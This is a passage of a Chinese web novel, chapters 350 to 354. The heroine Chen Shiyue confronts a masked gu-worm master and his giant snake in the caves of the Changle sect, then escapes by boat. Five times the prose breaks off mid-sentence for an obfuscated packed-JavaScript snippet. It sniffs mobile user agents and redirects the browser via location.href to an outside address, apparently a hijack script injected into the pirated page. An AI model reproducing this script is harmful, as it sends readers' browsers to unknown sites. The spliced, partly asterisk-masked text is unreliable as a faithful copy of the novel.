林序摇头,“你们怎么会进来?少将军没拦着你?” 按理说,少将军怎么敢放她进山? 这里何其危险…… “我做什么,他都会支持我的。”陈识月道,“我们进山,本是为你们而来,没想到意外救了安信,也算是不枉此行。” “嘘!”林序做了个禁声的动作。 外头传来了脚步声。 不知道是谁的人回来了? 是林序的人? 还是冬梅、迎春他们? “月大夫,你藏好!”林序示意她蹲下,这个角落没有光亮,正好能将她藏得严严实实,“我出去看看,你千万不要乱动。” 陈识月颔首,握紧了袖中的短刃,“放心。” 林序回头看了一眼,用边上的乱石稍微遮掩了些许,这才快速离开,那么多人都在这里跑丢了,必定是有缘故的。 四下漆黑一片,陈识月竖起耳朵仔细听着外头的动静。 没声音。 很安静。 但是隐约间,好似有淡淡的气味弥漫开来,陈识月瞬时头皮发麻,又是这熟悉的气味,在哪? 什么东西? 是什么? 陈识月握紧了手中冰凉的短刃,目光直勾勾的盯着外头,不管是什么东西,若敢过来……她就一刀结果了它! 第三百五十章 一巴掌给他打爽了? 陈识月有些发抖,但忽然又觉得那东西好似离开了? 离开了? 蓦地,她好似看到了什么亮闪闪的东西,在黑暗中一闪而逝。 陈识月:“??” 那是什么? 她不知道,但心里没底,手死死抓紧了短刃。 气味,一掠而过。 陈识月小心翼翼的探出头来,那亮闪闪的东西已经不知所踪,她下意识的皱起眉头,恍惚间觉得脑门上有什么东西滴答滴答的往下掉,这可把她吓一跳。 猛然间,陈识月快速抬头。 硕大的蛇头出现在上方,嘶嘶嘶的蛇信子不断往外吐,那一瞬间的惊恐,让陈识月全身的汗**都根根立起,无法形容的惊悚与恐惧,直接吓得人双腿发软,脑子里一片空白。 人的本能是跑,可双腿发软的结果,便是她的连滚带爬,险些连手中的**都抓不住。 那一眼,宛若一盆冷水兜头浇下,寒凉彻骨。 谁能理解那种被恐惧包围的窒息感? 无人可救,叫天天不应,叫地地不灵。 你不知道该如何是好? 可你还得跑! 陈识月原本是不怕蛇的,可这条蛇只一个脑袋就已经震住了她,高高立起,吐着信子,一双铜铃般的眸子,直勾勾的盯着她,仿佛随时都能张开血盆大口,将她活吞入腹。 巨**! 是巨**! 这东西不知身长几何,但是肢体粗壮,活吞一个陈识月根本不是问题,但问题是,它没有伤害她,而是一直追着她,就像是猫抓老鼠之前,先逗弄着老鼠一番。 现在的陈识月,就是那只老鼠…… 她不要命的往前冲,不敢有片刻停留,身后的窸窸窣窣声音,还有小石子被挤压弹射而出的声音,各种杂乱的动静,不断的砸进她的脑子里。 求生,是她的本能。 跑出去了好一段路,陈识月的理智逐渐回笼,身后的声音还在继续,但它似乎一直在驱赶,而没有动她的意思,那么…… 陈识月猛然顿住脚步,人已经跑到了河边。 河水反光,陈识月站在石头上。 蛇是能在水中沉浮的,所以她很清楚自己不管跑到哪儿,这东西都不会放过她,但是有一件事,她还是要弄清楚的。 比如说…… 那双一直如影随形,死死盯着她的眼睛。 “出来!”陈识月低喝,“出来!” 她两声低喝,带着轻微的颤抖,心口处传来的不适越发的厉害,她忽然意识到,这可能跟自己中的蛊虫有关系? 是那些人? 是他们吗? 陈识月捂着心口,下意识的往后退了两步,目光直勾勾的落在阴暗的角落里,身形微微绷直,也顾不得那条盘在巨石上的巨**。 那是…… 巨**的主人吧? 陈识月低喝,“出来吧!” 终于,一袭黑衣的男子从幽暗处走出来,脚步很慢,因为穿着黑衣斗篷的缘故,将整个人衬得极为伟岸,瞧着万分魁梧高大。 他站在那里,双手环胸看向她。 因为太黑了,所以陈识月看不清楚,又因为黑衣斗篷的缘故,更是模糊不清,只能看到下半张……戴着面具的脸。 错不了! 就是他们! 当初在山坳里,做出拿活人试药的勾当,不就是戴着面具的吗? “没想到啊,这天下居然还有人体质特殊,竟可以活下来。”男人阴测测的开口,始终站在那里不动,似乎也是怕惊了陈识月。 那条巨**就横亘在他们之间,动不动吐着信子,却也没有动作。 “你是什么人?”陈识月嘴里这么问,心里想着要如何能摆脱眼下的困局? 下河是不可能的,她的水性再好也比不上这条巨**的水性,到时候她就更被动了,其次便是这些洞窟,他能从里面毫无障碍的走出来,说明熟悉程度远胜过寻常人。 兴许,是长乐门的关键人物…… “我们是同类人。”他声音里带着蛊惑,似乎对陈识月很感兴趣,甚至于目标就是陈识月。 陈识月却不想听他的鬼话连篇,想着要怎么摆脱这疯子和这条蛇? 疯子倒也罢了,蛇才是可怕! 冷血动物,没道理可讲,甚至于一声令下,就会发动攻击,到时候自己完全没有挣扎的余地。 他开始迈步了。 他往前,陈识月退后。 一前,一后。 “你没感觉到吗?”男人又开始说疯话,“我与其他人是不一样的,你用心感受一下,遇见我……是不是有种心跳加快的感觉?我呀… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16034293|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …我对你也是如此!” 陈识月:“??” 哪个乱葬岗爬出来的孤魂野鬼,满嘴的……鬼话连篇! 他忽然身形一晃,还真的跟鬼一样,猛然间便飘到了陈识月跟前。 说时迟那时快,陈识月二话不说就给了他一刀。 锋利的**,毫不犹豫的扎过去。 让你装神弄鬼! 让你鬼话连篇! 让你黑灯瞎火的跑出来吓人…… 但,对方动作很快,一个侧身便避开了,反而扣住了陈识月握着不死后的手腕,“如此无情?真是好伤人心啊!” “伤人心就对了!”陈识月咬着牙,猛地意识到他的指尖搭在了她的腕脉上,“伤死你就更对了!” 音落,她猛地抬起一脚。 这倒是让男人始料不及,顿时身形一晃,退后甚远,甚至于有些心有余悸,“好狠!” **脚,不狠怎么行? “你是女子!”他说,“作甚如此狠辣?” 陈识月握紧手中**,看了看他,又看了看已经立起身子,作随时进攻状的巨**,“可惜我动作慢了点,不然我会让知道,什么叫真正的狠辣。你到底想干什么?要杀,还是要剐?” “我说了,我们是一类人,这天下没有比我们更般配的。”男人似乎更兴奋了,再度朝着陈识月靠近,“你身上的东西,和我体内的东西……是一对啊!” 陈识月:“……” 果然,是蛊虫的缘故? 一对? 那就是说,他的体内也有这东西? “你能把东西取出来吗?”陈识月忽然冒出这么一句。 男人猛地顿住脚步,嗓音里带着不敢置信,“你不要?你居然不要?你可知道这东西何等难得?多少人眼巴巴的盼着、求着要?” 陈识月想起这蛊虫就气不打一处来,“拿活人试药,亏你们做得出来,**那么多无辜的孩子,我为什么会想要?” 男人猛地晃过来,再度扣住她拿着**的手,“那是他们没福分,受不起这……” “啪”的一声,陈识月另一手已经扇了过去。 清脆的一巴掌,直接把他的面具都打掉了! 男人忽然笑出声来。 陈识月心头咯噔。 完了,别是给打爽了? 第三百五十一章 他可以,她为什么不可以? 陈识月下意识的往后退,瞧着面具跌落之后,露出的下半张脸,倒是没什么特别,就是这薄唇……是真的薄,勾着几分凉薄笑意,看得人心里直发毛。 这可不是什么话本子里的浪漫故事,黑灯瞎火,暗河边上,巨**注视下……宛若追魂夺命的修罗恶煞,随时都会让她死无葬身之地。 但是从他的话语间,陈识月还是捕捉到了一些有用的信息。 比如说,蛊虫。 他们的蛊虫是一对的? 在外祖父那里,她还是知道不少关于蛊虫的消息,外祖父和舅舅把知道的,能说的,全都告诉她了,是以……她知道蛊虫没有一对,唯有母子。 蛊虫这东西很邪门,非寻常人可控,所以豢养的时候十分追求天时地利人和。 比如当时拿活人试药的时候,那么多人都抗不过来,都无法承载蛊虫带来的痛苦,唯有她体质特殊,竟是在短暂的挣扎后,便成了蛊虫最好的宿主。 “为什么要抗拒呢?”男人轻叹一声,却在下一刻噤了声。 陈识月是聪明的,很聪明的那种,银针抵在了心口位置,脑袋一偏便是勾唇冷笑,“你猜我为什么要抗拒?” 未知的东西,放在她的心口,利用母亲从小为她调养的身子,意图做出不利,控制她的心神,你说她为什么抗拒? 呵! 大夫难自救。 但……也不是全然救不了! “你别冲动。”男人的唇线紧抿。 黑暗中,那黑色斗篷仿佛更黑了,将他整个人遮蔽在阴暗之中,由内而外散发着阴冷之气。 “离我远点。”陈识月眯起危险的眸子,“我是个大夫,你知道这意味着什么吗?” 当然知道。 大夫的手,快准狠。 银针刺进去的瞬间,陈识月身形微僵,只要针不**,伤口就不会愈合,这一点……她与他都很清楚,自愈的能力的确很强,但也是有硬性要求的。 男人徐徐后退两步,黑暗中如同鹰眸一般,牢牢的锁定她。 陈识月丝毫不慌,依旧保持着既定的动作,“你能找到我,是因为受了它的蛊惑和指引,对吗?” 男人不说话。 “我这是……母蛊!” 母蛊两个字一出来,男人脚步一顿,看得出来是有些不敢置信的,毕竟这东西可不是谁都知晓关窍,可偏偏陈识月说出来了。 “如果母蛊出事,子蛊也会死!”陈识月盯着他,“所以你最好想清楚,要不要继续跟我死磕?趁着现在,还有挽回的余地,不要逼我。” 男人在原地站了片刻,似乎也在考虑这个问题,他其实……是拿她没办法的,如陈识月所言,这是一种相互吸引与蛊惑的过程,但同时也是相互挟制。 尤其是双方较量之时,母蛊占上风! “好!”男人手一抬。 巨**快速离开,其后便是男人徐徐转身。 “你走不出去的。”他背对着她,“这是长乐门的地盘。” 陈识月的银针还没**,“你是长乐门的人吧?” “是与不是,都没那么重要,反正谁也奈何不了我。”男人低笑两声,“不过没关系,你若是真的能出去,倒也是有点本事,但我一定……还能找到你!” 陈识月不说话,银针往里面又进了毫厘。 男人猛地心口一疼,身子微微佝偻,她心口的创伤,他会加倍感受……当下消失在黑暗中,连同他那条豢养的巨**。 银针**的那一刻,陈识月腿一软,当即瘫坐在地上,狠狠吐出一口气。 真是个怪人! 这人是中原人吗? 如果不是,那是否意味着长乐门跟外邦勾结? 果然,都不是好东西。 一步步的验证,一步步的证实,长乐门该死! “月大夫!”林序忽然窜出来。 陈识月拽住他的衣角,“带我走,快!” 林序没有任何的犹豫,登时扣住陈识月的腰肢,几个落点便窜入了黑暗之中,速度之快,快如闪电,甚至于没有多问一句。 这么长久的相处下来,林序很清楚陈识月的性子,她开口必有缘由,几乎不需要多问,照办就是。 这,也是霍青行的行事作风。 信任,是绝对的。 及至消失在黑暗中,确定差不多安全了,林序才堪堪松开了陈识月,“如何?” “没事。”陈识月面色凝重,嗓音里带着清晰的疲惫。 林序张了张嘴,还想问点什么,可又觉得不该多问,陈识月不是不长嘴的人,若是她想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16045456|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说该说的,她一定会开口。 如此这般,只怕是遇见了为难之事…… 林序不问,静待答案。 好半天,陈识月才开口,“这洞窟内有一个人,能感应我的存在,与我身上的蛊虫有所牵扯。若是我们能出去,自然是最好,若是我出不去,你就将此事告诉他。” “月大夫?”林序愕然。 陈识月是做好了决定才开口的,“这东西本不该出现在中原,可现在却接二连三的出现,不难猜想有人里应外合,你们身处边关,本就是刀头舔血,若是当中有人里通外敌,那该如何是好?” “必定损失惨重。”林序回答。 陈识月点头,“安信出事,当中的缘由肯定是他看见了什么……” 林序皱起眉头。 “不管怎样,你们都得出去!”陈识月环顾四周,“暗河边的船只转运,恐怕就是……” 林序点点头,“通敌叛国者,该死!” “那个人身上有一股腥臭味,养着一条巨**在这洞窟里乱转,我估计他在长乐门的身份不简单。”陈识月这会静下心来,终于可以仔细的考虑此前的那些事情,“既然他能感应到我的存在,那我是不是也可以反其道而行?” 只是,这需要训练? 她不知道。 但陈识月觉得,凡事勇于尝试。 对方既想控制她,为什么她不可以呢? 大家都是身中蛊虫之人,甚至于她这还是母蛊,不就更占上风了吗? 当恐惧退去的时候,便是这医痴开始邪修的过程…… 试一试,总没错吧? 陈识月摸了摸心口的位置,伤口早就愈合了,这样的能力落在谁的身上,谁都得干出一番大事业来吧?困于这洞窟之中养蛇,委实不切实际。 这人不可能长久在此! “对了,我们的人可都回来了?”陈识月回过神来。 林序摇摇头,“暂时没碰到,不知道都分散在何处?” 要不然,沿着暗河找? 忽然间,陈识月示意他禁声。 怎么了这是? 林序登时竖起耳朵,哪儿不对劲吗? “有人!”陈识月低语。 林序旋即带着她纵身一跃,藏进上头的石头缝里。 第三百五十二章 除了她,不留活口 一行人快速从底下经过,速度很快,似乎是出了什么事情?他们几乎是用跑的,一副火急火燎的样子,瞧着就让人不安。 “这是出什么事了?”陈识月心惊。 林序也不清楚,但是瞧着应该不是什么好事,毕竟他们也不算是完完全全的好人,那长乐门这些人更算不得好人。 既然不是好人,干的自然不是人事。 “我去看看,你躲着别动。”林序低语。 陈识月颔首。 只不过林序刚走,陈识月便瞧见了底下跳动的影子,好像是…… “迎春!”她试探着喊了声。 动静骤歇。 下一刻,迎春骤然飞身窜起,一下子落在了陈识月的身侧,“姑娘,你怎么在这?怎么爬那么高?” “冬梅呢?”陈识月急忙追问。 迎春带着她快速落下,“冬梅他们都没事,我把人都找回来了,只不过大家现在都在找你,没成想姑娘爬这么高?” 关键是这岩壁都滑溜溜的,姑娘纵然力气大,胆子大……是怎么爬上去的呢? “是林序!”陈识月忙道,“他往那边去了,你快让大家都过来吧!” 估摸着,不是什么好事。 陈识月的预感是对的,那边真的没什么好事,因为欧阳恭他们被围住了,这会正在交手,双方打得不可开交,一如当时营救安信时的场景。 “迎春,你们可有找到出路?”陈识月环顾四周。 虽然没找到汗血宝马,但救出一个安信,肯定多少会有收获,所以现在他们也不算是白来这一趟,这会算是双方正式碰撞。 “没有!”迎春摇头,“不过按照姑娘说的,沿着河岸走,大概是没错的,我们在前面那头又看到了不少船只。” 陈识月点点头,“帮忙!” 冬梅早就忍不住了,只等着陈识月一声令下,如今更是如离弦之箭,当即纵身一跃,直接跳了出去,一剑便将围拢在欧阳恭身边的人斩杀在地。 迎春留在陈识月的身侧,随时保护,其他三个护卫紧随其后冲出去,毫不犹豫的拼杀,为了胸腔里这一口气,为了给安信他们报仇。 士有热血,方守热土。 以身守国,寸土不让。 如今,也是。 这里有外邦的细作,说不定有蛮子的人,那就当他们全都是蛮子,一个两个全都别想跑! 林序倒是没想到,冬梅他们会忽然杀出来,当即心头一喜,下手更有劲,“杀出去!” 这里还不是全部,后援还在后面。 即便如此,谁也别想跑。 得霍青行真传,林序下的都是死手,**得快,他就怎么下手。 欧阳恭被砍了一刀,这会胳膊上鲜血淋漓,所幸被冬梅搀了一把,免于摔在地上,冬梅反手便了结了冲上来的守卫,一脚踹开另一人。 冬梅的动作快准狠,随手便将欧阳恭丢给其他人,“看好他。” 音落,冬梅提着剑便朝着边上冲去。 欧阳恭站在那里,眼睛里发着光,“这位是……” 可惜,不是时候。 待解决了所有人,冬梅一招手,陈识月和迎春便快速冲了过来。 “走!”林序毫不犹豫的带着人就跑。 欧阳恭屁颠颠的跟在后面,几番欲言又止,都被生生咽回肚子里。 一直跑到了暗河边上,后面倒是没人再追来,但动静很大,应该是有人都在往这边赶。 “跟我来!”迎春在前面带路。 无论如何先出去再说,他们这群羊入虎口的羊,在别人的地盘上很容易吃亏,三十六计走为上计,不能在这里久留。 “没找到马,但找到了人,也算是有所斩获。”陈识月道,“我们先出去再合计。” 这地方到处都是洞窟,到处都是陷阱,稍有不慎就绕不出去,所以此处不是久留之地,何况每个人都受了伤,再这样下去,他们只会越耗越死。 “好!”林序颔首。 他们剩下的人,也都是伤的伤死的死,没必要再犹豫。 “船只就在前面。”迎春忙道。 只不过…… “船呢?”陈识月愕然。 迎春和冬梅对视一眼,各自倒吸一口冷气。 之前明明看到,这里拴着不少船只,木桩子都还在,船只却不知所踪。 难道有人在他们来之前,把船都开走了? 还是说,这本来就是个圈套? 诱敌的圈套! 林序倒吸一口冷气,“中计了!” 音落,周遭瞬时响起凌乱的脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052726|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步声,刀剑碰撞之音,以及……站在高处岩端的黑衣男人。 男人一身黑衣,颇有些统辖千军万马的姿态。 陈识月:“……” 怎么都喜欢穿黑衣? 还嫌这洞里不够黑? “我当是什么东西钻进来了,却原来是一帮废物。”男人幽幽启唇,“就是你们,劫了我的囚室,弄坏了我的洞窟?在别人的地盘上肆意妄为,你们还真是……胆大妄为啊!” 林序默默的将陈识月挡在身后,瞧着围拢在周围的长乐门众人,一个个虎视眈眈,恨不能将他们食肉寝皮,各个目光狠戾。 可林序岂会怕他们,“你的地盘?你谁啊,张嘴就是你的地盘!普天之下莫非王土,这个道理你爹没教你吗?” 男人低哼一声。 “没关系,生你养你的爹没教你,便宜爹爹我呀……可以现在就教你。”林序双手抱胸,趾高气扬的看向上方的黑衣人,“乖儿子,听明白了吗?” 陈识月在后面别开头偷笑,林序这张嘴可不是谁都能怼得过,尤其是对待敌人。 “死到临头。”男人嗓音狠戾,可见是动怒了。 陈识月敛眸,想了想之后,目光若有所思的环顾四周,虽然没发现异常,但她隐约有所感知,掌心默默的摁在了心口位置。 试一试? 也许可成呢! 陈识月静下心来,别人能做到的,她也可以,一定可以的,不行也得行! “鹿死谁手还不一定呢!”林序嗤笑两声,“长乐门行事恶毒,缺德到姥姥家了,迟早被一锅端,就凭你们这些歪瓜裂枣,也想要小爷的性命?再投胎个几百年吧!我这条命,只能死在战场上,绝不会落你们这些宵小之辈的手中!” 安信你且看着,小爷定要为你报仇! “除了那个……”男人伸手指向了陈识月,“其他的,不留活口!” 众人领命,“是!” 刹那间,刀光剑影袭来。 但,所有人都避开了陈识月。 陈识月瞧见了他身后那一片衣角,呵,敢情在这呢? 心口动,如风动,非情动。 有些东西还真是无法用言语说清楚,但绝对可以表现得淋漓尽致,比如说……那条忽然钻出来的巨**,猛地抬头立起。 第三百五十三章 她就是你的女主人 原本,众人对洞窟里有蛇这件事都是知晓的,平日里只要别往那边去,倒也没什么大碍,但是这一次巨**忽然就蹿了出来,着实是惊了所有人。 不只是这些人,便是之前的黑衣斗篷男子,都跟着愣了愣,大概是真的没料到,会发生这样的事情,以至于等他反应过来的时候,巨**已经“咻”的蹿了出去。 迎春下意识的扣住了陈识月的腰,做好了随时带着她跑路的准备。 冬梅死死握紧了手中剑,随时准备看似这没**的畜生。 谁知…… 不太对劲! 巨**一个扫尾,直接将长乐门的所有人都扫飞了出去,竟是生生为众人腾出了一条道。 “林序,走!”陈识月疾呼。 都这个时候了,还愣着作甚? 跑! 跑就对了! 迎春带着陈识月就跑,冬梅头也不回的跟上,所有人都是反应迅速的追随,这么好的机会不跑,更待何时? “长阴!”男人冷声厉喝。 还在扫尾的巨**猛地直起身,好像是僵住了一般,转头看了看众人,最后又把注意力落在男人的身上,如梦初醒,宛若恰恰回神。 “你在干什么?”男人的嗓音里带着极度的不悦。 不只是他的不悦,长乐门的门主也跟着恼羞成怒,“这话该我来问你,你在干什么?你养的畜生把人都放跑了!” 男人也没料到,竟然会发生这样的事情,实在是有些匪夷所思,因为他养的长阴从来不会擅作主张,冷血动物哪儿有同情可言? 但是现在…… 好像哪里不太一样了! 是那个女子? 人已经跑出去了,而且跑得飞快,好不容易设计围住,这会又被他们跑了,长乐门的人只能在后面拼命的追赶,也不知道还能不能追得上? 四下一片漆黑,暗河边刀光剑影。 “姑娘是如何做到的?”迎春诧异,目光一直盯着前方。 她很清楚,能让那条长虫听话,只能是姑娘所为,其他人没这个本事。 “用心!”陈识月回答。 迎春:“……” 这话好像有点道理,但又好似什么都没说。 “绕回去!”陈识月忽然说。 迎春猛地顿住。 冬梅差点刹不住车,险些撞在一旁的石柱上。 “怎么了怎么了?”冬梅心惊。 迎春有些诧异,误以为自己听错了,“绕回去?” “绕回去?”林序也重复了一遍这话。 众人止不住面面相觑。 这好不容易跑出去,又绕回去,会不会出什么岔子? “绕回去。”陈识月开口,“船应该被他们藏起来了,我们这样跑是跑不过他们的。” 所以还得顺流而下。 这暗河宽且深,深且湍急,只要上了船,才有机会离开。 他们追不上,大家就都安全了。 “我也观察过了,那边不像是个陷阱,而是依着原有的条件,所设下的圈套。”林序当时也察觉到了异常,“这就是说,那边的确是个码头。” 他们运输物什都应该从那边靠岸,一则是因为那边的河岸更宽且水流稍缓,坡度没那么大,适合停船和上岸,二则是因为岸边就是空地,方便放置物什和临时转运。 一路跑过来,似乎那边的确很适合当码头。 码头是真的,陷阱也是真的。 他们现在杀个回马枪,也是真的! 趁着所有人都在屁股后面追的时候,他们从另一条道上绕回去,只不过绕回去的时候得万分小心,免得跟追来的人来个面对面。 人都追去了,没想到他们又回来了。 船其实就藏在附近,往上面再走走,有个弯道刚好能藏起船只,这会都在呢! “果然都在!”林序招呼众人上前,“胳膊没受伤的全部撑船,胳膊带伤的全部坐船尾,每个人都找好自己的位置。” 所有人快速上船。 解开绳索,船只顺流而下,速度很快,是以前面两个撑船得时刻把握方向,免得船只一着不慎撞上了岩壁,那可就糟糕了! 所有人都悬着一颗心,顺流而下,速度很快,耳畔的风夹杂着水汽,呼呼呼的扑脸上,但没人敢停下来,只要出去……出去就安全了! “门主,他们在这里!” “在船上,快快快!” “拦住他们!拦住他们!” 所有人都在惊呼,所有人都在嘶喊,可又奈何不得。 船顺流而下,速度太快了,他们甚至于来不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052727|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及去拿网兜,一眨眼的功夫,船就已经从眼前略过去了,跑都跑不赢! 蓦地,陈识月回头,骤见着暗河之中有光影晃动。 是蛇! 是那条大蛇! “姑娘莫怕!”迎春咬着牙,已经握住了手中剑。 冬梅转过身,目不转睛的盯着,死追在后面不放的巨**,真的想一刀**它,但这么大的蛇,一刀一剑未必能当下立死,实在是让人恨得牙根痒痒。 “别急!”陈识月倒是一点都不着急,“林序,你好好撑船,其他的交给我!” 林序头也不回,与护卫一道守着船头,“知道了姑娘!你自己小心!扶住船舷。” 巨**的速度自然很快,毕竟顺流而下,又是在水里,穿梭灵敏至极,眼见着就要咬住船尾。 说是迟那时快,陈识月微微低头,心口的位置狠狠抽痛了一下,巨**宛若受到了感召,登时在水中打滚,像是发了疯一般,发出了痛苦的嘶吼。 下一刻,它一个摆尾便将自己甩上了岸边,其后倒地几个扑腾便没了动静,尾巴都还挂在水中,仿佛**一般。 迎春:“??” 冬梅:“??” 二人都是一脸懵逼,显然没反应过来,一时间都目瞪口呆。 林序回头看了一眼,什么都没说,照旧把着船只,只想快速带着他们离开这里……出去成了内心深处的信念,即便是为了少将军,也得把人安全的带回去! “怎么回事?”门主冷声厉喝,“你的东西为什么不听你使唤了?” 眼见着是要咬到船只了,可为什么到了最后,却功亏一篑? 他们跑了! “哈哈哈……”黑衣斗篷笑得全身都在颤抖,“果然是天赐良缘,果然我们才是最般配的,如此聪慧,居然无师自通,居然能能……哈哈哈哈……” 门主就站在一旁,冷眼看着他。 所有人都退避三舍,不敢靠他太近,谁不知道这就是个疯子呢? 疯子会发疯,疯子养的东西也是疯的,谁敢轻易靠近! “你是真的疯了!”门主拂袖而去,可见是真的气得不轻。 疯子走到了巨**身侧,蹲下来摸了摸它的脑袋,嗓音里透着无法言语的兴奋与激动,“长阴,以后她就是你的女主人。” 第三百五十四章 马粪的味道? 那种如影随形的不适感,让陈识月的脸色愈发难看,但她此刻已经无惧,未知才是恐惧,既知那就迎难而上。母亲在天之灵,一定会保护她的! 这些年,不一直如此吗? 娘,您说对吗? 船行得很快,随波逐流,更是快上加快。 当然,越过了这段急流之后,也是有平缓之处,等到平缓下来,所有人都是松了口气,可以暂时放松一下,否则总绷着也是受不了。 至此,林序放心的将船桨交给旁人,兀自转头,“月大夫没事吧?” 陈识月点点头,“放心,我好着呢!” 见林序欲言又止的模样,陈识月指了指心口位置,“那条蛇……大概是这个缘故。” 林序一怔,转而点点头,“月大夫心里有数便罢,我不便多问,但若是有什么不适或者是感觉到了异常,一定要说,即便不同我说,也得告诉少将军。” “我又不是锯了嘴的葫芦,有话不说闷在肚子里,要嘴巴作甚?”陈识月摇摇头,“害人害己的事情,我可不做。一人计短二人计长的道理,我还是明白的。” 一个人的见识是有限的,一个人的脑子也是有限的,那自然是要多个人多条路。 霍青行见过那么多人,见过那么多事,他的见识和阅历远在陈识月之上,有什么事跟他商量总归没错的,陈识月才不会傻乎乎的当个闷葫芦。 他连掉脑袋的事儿,都与她一起扛着,还有什么事不能与他说? “那就好,那就好!”林序松了口气。 陈识月又道,“不过有些事情我还是没弄明白,得先想想怎么说,才能让……” 还不等她把话说完,船只忽然磕了一下。 要不是迎春和冬梅当即拽了陈识月一把,这摇晃的船只还真是要将她甩出去,那一瞬间的惊心动魄,惹得陈识月面色瞬白,一颗心砰砰乱跳。 “怎么回事?”林序惊呼,带了几分怒气。 护卫忙道,“这边都是乱石,咱没注意,还有网兜。” 闻言,林序面色陡变,“网兜?” 那应该是长乐门设立的陷阱,若是有什么意外或者是有外人闯入的时候,这个网兜就会产生一定的效用,熟门熟路的肯定不会出事,但若是贸贸然行船,肯定是要出事的。 如,现在。 还好众人都会手脚功夫,堪堪稳住了船只。 此处还算平稳,要不然网兜也兜不住,所以只需要避开便罢! 所有人都惊出一身冷汗,还好还好…… 如今都小心避开,不至于翻在暗河中。 “诶?”陈识月忽然喊了声,“你们有没有闻到什么味?” 迎春不解,“什么味?” “没闻到什么味啊!”冬梅摇摇头。 林序皱起眉头,船速已经放慢了,水风也慢了,空气里还真是似有若无的飘着一股子味,像是一种骚臭味?粪便的味道? “不会是茅坑吧?”林序嘟哝,嫌恶的皱起眉头,“这味道还真是……” 迎春诧异,“我也闻到了!” “我也是!”冬梅应和。 船只靠岸。 这不对。 这应该是长年累月的累积,所以味道都渗入了石头缝隙里,以至于就算有风,就算冲洗,也无法消除这样的味道。 陈识月看向林序,两个人几乎都想到了一种可能。 “汗血马!” “汗血马!” 还真是有点像是马粪的味道。 会不会就在这附近? 找到汗血马,就等于验证了他们之前的猜测,且如果是真的,那就跟宫里的饲马监摆脱不了干洗,只要一顺的捋下去,说不定就能找到里通外敌的细作。 宫里宫外,城内城外。 明桩暗桩,一并了账! “这里有网兜,说明前面可能有拦截的人,上岸先看看再说。”林序吩咐底下人,“去前面探探路,看是否有出路?” 底下人行礼,快速离开。 现如今的每一分每一秒,都是在跟阎王爷抢人。 上了岸,脚下有些软绵绵的。 船坐久了,颠簸得人浑身乏力,头晕脑胀的。 迎春倒也还好,冬梅下船的时候,人都是飘的,一脚一软一个不吱声,还好被迎春和陈识月一把搀住,这才勉强站住。 “没事吧?”陈识月吓一跳。 冬梅连连摆手,“没事没事,就是忽然有些腿软,不知道怎么的……脑子都是晕乎乎的,我歇一歇就好,马上就好!” “你不会水性吧?”陈识月开口。 冬梅尴尬的笑了笑,“不太会。” “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052728|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不谙水性,想来也不曾体验过船上的生活,不适应是正常的。”陈识月笑着解释,“脑子可能有点晕,你坐着缓缓就好。” 冬梅颔首。 这里上岸,没瞧见什么人,大概也是安全的。 只不过,不可能一直安全。 “姑娘没事吧?”欧阳恭凑了上来。 冬梅一怔,显然没想到,他竟是有这般热情,不由得呐呐的应了一声,“没、没事,多谢关心。” “在下金都府捕头欧阳恭。”说着,他赶紧拱手,“姑娘好功夫。” 冬梅:“……” 江湖人不想跟官府的人打交道。 “姑娘芳名啊?”欧阳恭又道。 